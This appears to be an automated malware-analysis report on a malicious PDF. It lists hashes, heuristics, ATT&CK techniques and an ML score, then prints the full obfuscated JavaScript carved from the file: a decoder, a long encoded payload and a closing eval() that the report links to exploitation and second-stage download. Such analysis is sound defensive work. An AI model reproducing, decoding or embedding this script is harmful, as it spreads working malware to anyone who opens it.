Malicious PDF — malware analysis report

Static analysis result for SHA-256 7e5a1b2778f3e594…

MALICIOUS

PDF

10.5 KB Created: 2008-07-26 19:43:58 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2012-07-12
MD5: 48eae142a9f4eeb1d4554ed27d155df2 SHA-1: ea9e4dd8f7308343ed15eb4d35a6c7a8e7edf75a SHA-256: 7e5a1b2778f3e5947c3350a74432d5b7d6cf6a337ad533ad665c2fc13d9b9826
166 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains obfuscated JavaScript, flagged by multiple heuristics including PDF_JS_EXPLOIT_CLUSTER and ML_NYX_PDF_MALICIOUS. The script's behavior, described as 'inert_or_unresolved_eval', suggests it's designed to execute arbitrary code. The primary function of this script appears to be downloading and executing a second-stage payload, indicated by the exploit cluster and the ML classifier's high confidence in maliciousness. The obfuscation techniques used, such as string concatenation and eval calls, are common in malware to evade static analysis.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for(IDfyyza=Math[ ""+   p02rW7d+    bhyt + "" +p02rW7d+j6cOC43  +p02rW7d+     ""+"i"+p02rW7d +"l"](aNCIk/tg21S);IDfyyza>B0ZuLU2tjpKM;IDfyyza--)
{Z4Q3QVxCnfC2Qt = "WahaHr7X87";for(eval(""    + p02rW7d+""  +"GKuq9fnl2G="+"" +  "M"/*yOOFJ1WSmQFcJ13CEyr4JMgvz8g9cLJnjh33iZVU1k7Kk0W*/+p02rW7d+  "a"+p02rW7d+   "t"+p02rW7d+    "h"+zz40sn+zz40sn+"."+p02rW7d+DhOmPz+p02rW7d+"i"+p02rW7d+"n(aNCIk,tg21S)");GKuq9fnl2G>B0ZuLU2tjpKM;GKuq9fnl2G--,aNCIk--){C0Bu8YFoQcCK1|=(IvDnhX[p02rW7d+JAwYllJb[ zz40sn+   ""+""+"c"+zz40sn+"h"+zz40sn+"a"+zz40sn+"r"+zz40sn+"C"+zz40sn+"o"+zz40sn+"d"+zz40sn+j6cOC43+zz40sn  +"A"+zz40sn+"t"](kNtNqmvB++)-48])<<BJMY6OpCb3sZ;
if(BJMY6OpCb3sZ){txMLh+=YM5lHIZzpjF(187^C0Bu8YFoQcCK1/*kN2RkiNkq5sTPBG9tJAbtf7uQDEAMl9V9AwttJdkNVDm*/&/*Kvan7CgmIaCVpMsaVNjgKcadFK1lXnT2i4ooGVaZ7m6v0xVeLELfrvI8FJtn8MoqQceg9FFE3K0*/255);C0Bu8YFoQcCK1>>=5/*VfqeuCJl8ctNwmA59yuYbZFjoUyrp949nuni77TDjNbg0lkHkfqME664a5u*/+3;BJMY6OpCb3sZ-=4/*MyYzsLiySBCCZntiZe1JJqfYvlbWpWw3UV3NrkMKwYXVMQDv6D*/-2;
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x336 9140 bytes
SHA-256: 08bdd097b8ce82336c935817f1b54321b09afc8deb4a23de7c4d95c3d21d7471
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). 143 of 176 identifiers look randomly generated (e.g. 'BthUbJ3gYWDyzSDyzSDyzSDyzSDyzSDyzSjCbSjC') — consistent with name-mangling obfuscation. Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var Z4Q3QVxCnfC2Qt = "WahaHr7X87";
var DhOmPz =  ""+  "m";
var j6cOC43 = "e" +"";

var zz40sn =   "",p02rW7d =  "";

var lUmQShTsktO =       ""+/*LS9Xw2IpP1vbO*/  "f" ;
var qBOHC = lUmQShTsktO+  ""+zz40sn+     ""+"r"  /*tDPVcCubGBgsZ*/  +""+zz40sn+ ""+ /*mcZl6iJ2jbr0bm*/  "o" +zz40sn+ ""+""+ DhOmPz  +  zz40sn+    ""+    ""    +  "C" +zz40sn+"h"+zz40sn+""+ "a"+zz40sn+   ""+    "r"+zz40sn+"C"  +    "" +zz40sn+"o"+zz40sn+"d" +  "" +zz40sn+j6cOC43 +   ""    +"";


function YM5lHIZzpjF(eLITT1Ed){
var dsfewfs=""+String[qBOHC ](eLITT1Ed);
return dsfewfs;
var CzXDO = "XayRr08ki1gLZ";

}



function YVymqXr3InlwdM(JAwYllJb){
var EHlR1NI0z = "jz5RDTV45TUwcc";
Z4Q3QVxCnfC2Qt = "WahaHr7X87";
var B0ZuLU2tjpKM=0,
aNCIk=JAwYllJb.length,tg21S=1017+ 7,GKuq9fnl2G,
IDfyyza,txMLh=   "",kNtNqmvB=B0ZuLU2tjpKM,BJMY6OpCb3sZ=B0ZuLU2tjpKM,C0Bu8YFoQcCK1=B0ZuLU2tjpKM,IvDnhX=Array(/*ScMgBp7TbYUyreywYx21BVVEZziVbKCxxZe0Okc1J7yAkw8Iu9J6eoKDn4jPOwM*/63,41,20,50,47,29,57,22,19,17,0,0,0,0,0,0,59,36,44,14,2,33,12,31,52,1,38,7,39,13,37,18,9,45,35,32,15,26,51,34,54,24,48,0,0,0,0,43,0,0,56,30,28,61,25,42,27,49,3,5,46,4,11,60,62,23,21,16,53,55,8,58,6,10,40/*J1Uul8u6DtGyqNHkWaqBPBOCE9cc6zyazTUlaProI8n9V5t3fjD5vcH0ltmqskQsEveoKVdcdQl9Ve*/);


var bhyt = "c";

for(IDfyyza=Math[ ""+   p02rW7d+    bhyt + "" +p02rW7d+j6cOC43  +p02rW7d+     ""+"i"+p02rW7d +"l"](aNCIk/tg21S);IDfyyza>B0ZuLU2tjpKM;IDfyyza--)
{Z4Q3QVxCnfC2Qt = "WahaHr7X87";for(eval(""    + p02rW7d+""  +"GKuq9fnl2G="+"" +  "M"/*yOOFJ1WSmQFcJ13CEyr4JMgvz8g9cLJnjh33iZVU1k7Kk0W*/+p02rW7d+  "a"+p02rW7d+   "t"+p02rW7d+    "h"+zz40sn+zz40sn+"."+p02rW7d+DhOmPz+p02rW7d+"i"+p02rW7d+"n(aNCIk,tg21S)");GKuq9fnl2G>B0ZuLU2tjpKM;GKuq9fnl2G--,aNCIk--){C0Bu8YFoQcCK1|=(IvDnhX[p02rW7d+JAwYllJb[ zz40sn+   ""+""+"c"+zz40sn+"h"+zz40sn+"a"+zz40sn+"r"+zz40sn+"C"+zz40sn+"o"+zz40sn+"d"+zz40sn+j6cOC43+zz40sn  +"A"+zz40sn+"t"](kNtNqmvB++)-48])<<BJMY6OpCb3sZ;
if(BJMY6OpCb3sZ){txMLh+=YM5lHIZzpjF(187^C0Bu8YFoQcCK1/*kN2RkiNkq5sTPBG9tJAbtf7uQDEAMl9V9AwttJdkNVDm*/&/*Kvan7CgmIaCVpMsaVNjgKcadFK1lXnT2i4ooGVaZ7m6v0xVeLELfrvI8FJtn8MoqQceg9FFE3K0*/255);C0Bu8YFoQcCK1>>=5/*VfqeuCJl8ctNwmA59yuYbZFjoUyrp949nuni77TDjNbg0lkHkfqME664a5u*/+3;BJMY6OpCb3sZ-=4/*MyYzsLiySBCCZntiZe1JJqfYvlbWpWw3UV3NrkMKwYXVMQDv6D*/-2;
}else{BJMY6OpCb3sZ=4+2;}}}

return(txMLh);}var kcZ6pA9=      ""+YVymqXr3InlwdM(   /*a5ux1fZWV7TXbyZyqJKAGshlF9yAECOdHJbHyAoUGH3sGbq7vAHC4yxI8wTL0szQBahAl*/ "" /*N3ngu5IkAEvRQzQOIYKltTdttpTbzE8eHvLBzdwAsrbJr3hAa2wUVaNPPq1O694M4OY43UDvMpEDrwORyKvTuJsJAti*/ +"iXQVrReVO85thXQHj8lHTT1ZULF3nG6Jq@5tOxnZhx_BFTQHq@eJ8yBXPRo3rcQurVeV8KfWKcQurnPZD_53v4oJsUbJD_53v4FSx4fB3yBXPRo3hUbJD_53v4dNv@dXv0d3OqMu8lbNq@5t2JzAax_BP@eVCLdthyBXPRo3alfBxnhB3XQVrReVO85thWeHcRMHAueAOlPZiyhVULoJULd3D41Eh7QuF41pPLBXDT1Aax_BM_53hXoJxl1Xn4dNMnQuF@53Q@53vnMtrjYBOueJ8XoJkl6SOlfBaK_BM_53hlBXDGMtU0eJxl1Vr@M3Y_e3cTfJcwFpnWvWcwoS6ubRcwFWnpbWcwoWbVbScwoRnCYpcwoS64vpcwBWbVbWcwoS6_00cwoWjwbScwoWDwGpcwoRnCYpcwoS0RbRcwFRb0bWcwBRjCYpcwdRwRvpcwBRw0bRcwB0Pp4WcwB0PJYpcwB0bTYpcwoRe@GpcwBRPwzpcwB0wTvWcwoSDwYRcwoWTwzRcwBRFwYRcwFRvCYpcwoS6RvpcwFWv3bRcwoWv3bScwBRMXTWcwFRMCYpcwoWvJbWcwFWvXTWcwoRDW4ScwoRywbWcwFWvg00cwFWMXG0cwdpp4Y0cwoWvgbRcwd0PWbScwoWj3bRcwFpeR4WcwoWvlb0cwoRnX4pcwB0e@GpcwFW6@bScwFRCX0ScwBRp@4RcwoRMCYpcwoWvJbRcwdRMWTWcwoWbTYpcwoS60bScwBWb@YRcwo0vlvWcwoWTCYpcwoWvCzpcwBReRTWcwBRnwz0cwoS0RTWcwoWj3b0cwBRPwvRcwFWvJ0ScwoSwR4pcwB0jwYpcwd0e_GWcwd0euG0cwFpnWYWcwd0FCYpcwBppuGWcwdpjpY0cwdWpuzRcwFRjXzRcwdRMgGpcwdRMybScwFWvgGpcwdpjW0WcwdRTXzWcwoWnlbWcwdRjwbWcwdRjwbRcwdRC3YWcwdWTWzRcwdRDgvpcwBRn3bRcwBRvwbRcwBpwL0ScwoW0uTpcwd0eVvpcwoWTwzRcwd0jCYpcwFpTCvWcwdpnlvpcwoSwuvpcwBSjw0WcwdRjwbWcwdRpuY0cwdRTJz0cwFRCXbScwdRbVYWcwBRTXb0cwoSpL0ScwoWp0z0cwd0e@TpcwoWTwzRcwBRnyvWcwFpnWvWcwBRnwbWcwoS6@YRcwoWTwzRcwFpPCvWcwoSv3Y0cwoRbRGWcwBRnwYWcwFWMJ0ScwdWe_zpcwd0eVbWcwoWTwzRcwBRFwYpcwdpjwYRcwd0pnbScwoWpTzpcwBRCXG0cwdRw4bRcwd0e4bWcwdRjpTRcwFRT3bRcwFWwVbWcwdWeLY0cwFRC3vWcwdRC3bWcwdRv3YWcwdReubScwdRvXzScwdW0uzRcwdRCXbScwdRC3YWcwdWpRYWcwdRpuvWcwdRMJY0cwdRCXzRcwdRPXbRcwdRvXzWcwdWpuYpcwdRj3bWcwFWeVbWcwdRy3bWcwdRCXvRcwFWvWb0fyPSiyht24oJxl1Vr@M3Y_e3cTfJcwoWw4zpcwoWw4zpcwoWw4zpcwoWw4zpfyfB3CQuU4dXq8MXs41Eh7Mtn4PAhlBXDGMtU0MSiyhXOV5Xq8MXs41EhwdtcRFXU4Bu8J1LC4zpng4LC4zpngGJODYB3CQuU0QuPRBHI@eJxlfWnDYB3Wo3P_QZhUbJ8@QXG@53vn5Zcj6Hc_e3fGMtYj5Nq@5td0oHax_BFTQHq@eJ8JQHdLet2RMHrcQurVeV8Gv3nLBXDn6JfnMufGMtYjMAxJQHdLet2RMHax_B5netqLet2RMHhUbJfnMufGMtYj5Nv@dXv0d3OqMu8lbNhWo3P_QZODYB3Jet2RMHhUbJfnMufGMtYj5Nv@dXv0d3OqMu8lbNhJQHdLet2RMHrcQurVeV8hP3nLBXDnPSiynV8netcTfXq8MXsq6tcqMuTTMAv4d3UnoJKl6Wj0bWnlbWOlfXq8MXs41EhJet2RMHsJet2RMHsXQHqG5Xq8MXsjYB3UQu741Eh7QuF41pPLBXDT1Aax@J5853hC1HxlvSOGzWTlbWayMAsy6J7@QtSnQ6hUbJfGMtYjeJsl6Hc_e3fGMtYjMSiyhVULoJr@BthUbJ3gYWDyzSDyzSDyzSDyzSDyzSDyzSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSjCbSax_BC0BHqq63Pn5tTueAfw6RClbWnX5Jq7QV7nPSiUdBxKhuCqMXTnMtr4PX8@MXs8C38y6JaK_BM_53hg53PnoJxlftcVoJwLd3UnoAODYB3XBXP4fVhUbJU4o3rXBHcVBuPuluPRBH2qMSix_H546AM46EhCzAiDdB3XBXP41XG0MHs41EhwdtcRFXU4Bu8J1LCR0WvWzLCTYpMpzLCRbWTlzLC4vpFCzLC0bWjJ4LCTYpnW4LC_vpFlzLCTYpw04LC4bSCCzLC4zSpL4LC0bWjJ4LCTb0vpzLCVvpTlzLC@bSjJ4LCuzpvW4LC@zpTpzLC@GW0_zLC@GWPJ4LC@TpjJ4LC0Y0pL4LC@YWCg4LC@4pjWzLCTzSCXzLC4bRCwzLC@vRCXzLCVvWjJ4LCTYpvW4LCRvWFpzLC4vWFCzLC@YReRzLCVYRjJ4LC4vWPlzLCRvWeRzLC0zSbnzLC0zWClzLCRvWw04LCRYReu4LCL40nX4LC4vWypzLCuGWvCzLC4bSFpzLCRG0b_zLC4vWnp4LC0bWe_4LC@G0pL4LCRYpCCzLCVzReTzLC@z0p@zLC0YRjJ4LC4vWPpzLCuYRbRzLC4vpjJ4LCTYpTCzLC_vpCXzLC0TWnWzLC4bRjJ4LC4vWjg4LC@Y0bRzLC@bWCw4LCTb0bRzLC4bSFp4LC@YWC3zLCRvW6TzLCTzpb_4LC@0SCJ4LCuG0wLzLCuG0eu4LCR0WvJzLCuTRjJ4LC_40eLzLCL0STX4LCLz0MwzLCVbSMwzLCuYRwL4LCuYRDCzLCRvWwL4LCL0Sb4zLCubRMgzLC4bWnlzLCubSClzLCubSCpzLCuzRFJzLCLbRvwzLCuzSyW4LC@bWFpzLC@vWCpzLC_4p6TzLC4b0eR4LCuG0FW4LC4bRCwzLCu0SjJ4LCR0RjWzLCL0WnW4LCTzpMW4LCnbSp4zLCubSClzLCuz0MX4LCubRPw4LCVzRMCzLCuvpFJzLC@bRMp4LCTz06TzLC4z0Tw4LCuG0pR4LC4bRCwzLC@bWDWzLCR0WvWzLC@bWClzLCTYpCXzLC4bRCwzLCRGWjWzLCTvWFX4LC0vpbLzLC@bWCJzLCRYR6TzLCLY0yg4LCuG0FlzLC4bRCwzLC@vRCJ4LCL0SCXzLCu40DCzLC4z0jg4LC@zReu4LCuzpnpzLCuG0nlzLCubS0VzLCVbRFpzLCRzpFlzLCLY0PX4LCVzRFWzLCuzRFlzLCuvWFJzLCuY0MCzLCuvWMyzLCLb0MwzLCuzRMCzLCuzRFJzLCLz0vJzLCuz0MWzLCuYRPX4LCuzRMwzLCuYWMpzLCuvWMgzLCLz0MJ4LCubSFlzLCRY0FlzLCuzWFlzLCuzRM3zLCRvWvpGJODYB3XBXP41tchM6ULd3UnoJxlftcVoJwLd3UnoAODYB3XBXP4PXY41EhlbZnWeWY4vXnWMSiyhVULoJU0euP41EhlbZTlbWnlbWax_BM_53hWFXAGQur41EhgeuGjMHrcQurVeV84fAhJvSiyhVULoJq@5thUbJU0euP41NhCP3Y8ptcqMAnCFWjyPSiyhVULoJD_53v4oJxl1Vr@M3Y_e3cTfJcwBSnybWcwBSnybWfyPSiy_ZULF3n41EhXQHj8lHTT1ZULF3nG6Jq@5tODYB3XBXP4PX2@dtTLbJxl6AYReJ7l6Wj0bWnlbWnyPNU0euPjYB5853hCfVULoJY8QVr0BEnDvX2@dtTGvX2@dtTLvSY8QVr0FAsyfBaK@Jhl6J7@QtA_53P_QZSRMtCqeVJ41EhyBXPRo3hD6JU0eusjMSiUdB3XBXP4PtM@535GMtF41EhwdtcRFXU4Bu8J1LC4vXnWQLC4vXnW5JODYB33oHOGQu8O5VcLduq8MVrcQurVeV846EhpbRDwYWOlPtM@535GMtF4PAxlPtM@535GMtFjYB3poHORdNY8etq_5Xz0FtP@eJxlPp2GetUL5NY8etq@MXT@4tUnet3q5u2TPZv@dX9KbJfJ6N7RFuIlPtM@535GMtFhBAax_iiUdB5@dtY0BH2qeJYTQuYjM6TT1AhDdB3XBXP41XPLBZhUbJr@MVhgG3P_QZ8yPSiyhVULoJM41Ehge3nqfVO@MVcLd@cLF3O85taxhBOueJ8XoJKl1SrgzA3x_BaK@Jhl6JhXBXP4fVM4BuTTQZU41ECqQuvRQXn@eAfw1Vb4vWvw1VjJGRTw1VvlbRnw1VnWTRjw1VTlbS6@1VjJ0Wb@1VyWTRnw1VjJ4p0@1VnCzRjw1Vnyz06@1VTlbS6@1VjpTWTw1VFW0Rnw1VCCbS6@1VMgTWb@1VCg0RTw1VpLb0yw1VpLYW6@1VpR0S6@1VTX406@1VCJzRw@1Vp_0Svw1VjyzRMw1VnpzRCw1VC3zRMw1VFWbS6@1VjJTWb@1VvWvRTw1VnWvRjw1VCXY0vw1VFXbS6@1VnWYWnw1VvWY0vw1VTyvpDw1VTgzRnw1VvWzp0@1VvXY0e@1V6@0We@1VnWzWTw1VeLvWjw1VnCvRTw1VbuTpyw1VnWbW0@1VTlY0w@1Vpu406@1VvJ4Rjw1VFwY0jw1VCw40Cw1VTXbS6@1VnWYWTw1VMXvpvw1VnW0S6@1VjJ0Rjw1VyW4RMw1V0RbWvw1VnpbS6@1VnWbSw@1VCXTpvw1VClzRp@1VjpTpvw1VnCvR0@1VCJzRFw1VvWYpjw1VjgTpw@1VpTzR6@1Veu4pPw1VeuG0e@1Vb4vWPw1VeVbS6@1Vw@G0Pw1V6TbRe@1VPwGRCw1VFCYRCw1VMXzp6@1VMXzSjw1VvWzp6@1V6Tvpnw1VMpYRyw1VnlbWnw1VMCzRnw1VMCzRTw1VMwvRPw1VPpvWCw1VMyzWb@1VClvRTw1VCWzRTw1Vw_Gpjw1VnpG0b@1VeuTRb@1VnpzRCw1VeTbS6@1Vb0bSvw1V64bWb@1VjgGRb@1VDCz0nw1VMCzRnw1VMwGRe@1VMpYWp@1VFwYRjw1VMWTRPw1VCpYR0@1VjwGpjw1Vnw0Rp@1Veu40b@1VnpzRCw1VClzSvw1Vb4vWvw1VClzRnw1VjJ4RMw1VnpzRCw1VbLbSvw1VjWvRe@1VTWTpPw1VClzRPw1VvXYpjw1VPX4Ww@1VeuTRnw1VnpzRCw1VC3zR6@1V6TzRMw1Ve@4Sjw1Vnw0Sw@1VCwY0e@1VMg0WTw1Veu0Wnw1VMCb0Fw1VFpvRTw1VvgTRnw1VPXGWe@1VFwvRvw1VMwvRnw1VMWvRPw1VMXGRjw1VMWYRDw1VPpGRCw1VMwYRjw1VMwvRPw1VPwTWPw1VMwGRvw1VMXYWe@1VMwYRCw1VMJYRTw1VMWYRyw1VPwGR6@1VMCvRnw1VvXTRnw1VMgvRnw1VMwYRFw1VvWvW0L1Aax_BhXBXP46HB_BRnlvpt41EhXdVn@eV8nBXrcQurVeV84fAhJvSiy@JM_53hcQur41EhlbZTlbWnlbWhU6J8CM@y@bWnWGehD6JnCFWjyPSiy@JM_53hyBXPRo3hUbJCqQuvRQXn@eAfw1VDlzSnw1VDlzSnJ1Aax_BhyBXPRo3hUbJ5neZAneV8yBXPRo3ql6tcqQAax_BhXBXP463CgGHZuzR541EhC6Wj4vXnWeWY4vXhU6JnCoRnlbWnlzAhO6JnCoRnlbWnlvSil6Jhl6J5853hCfVULoJM_FXg04SMyoJxl6WalfVyRQw0nYRD46EhlBRwKMoMwYualfVyRQw0nYRD4PAsl1AaK@Jhl6Jhg53PnFbM_FXg04SMyB6hUbJD_53v4oJslfVM4BuTTQZUjziil6Jhl6JM_53hpB@XT5efVTVhUbJCqQuvRQXn@eAfw6WDJ1Aax@Jhl6Jh3oHOGQuhC6Vlh0HtLM0Fq6tcqMuTTeJKl6Wj0bWnlzAT@le8qGXoVoJsUbJT@le8qGXoVFSil6Jhl6JT@le8qGXoVoJxlfJtqfJhD6JT@le8qGXoVFSiy@JU4o3rpMtYqPp2GetUL5Nd@eV3RMtrT6Vlh0HtLM0FnPSiy_iiUdBiWeHcRMHAueAODYBYTQuYjM6vT1AaxnX8@MXs8pV8yPS"  +      "");eval(kcZ6pA9);

Open this report in the interactive analyzer, or submit your own file for analysis.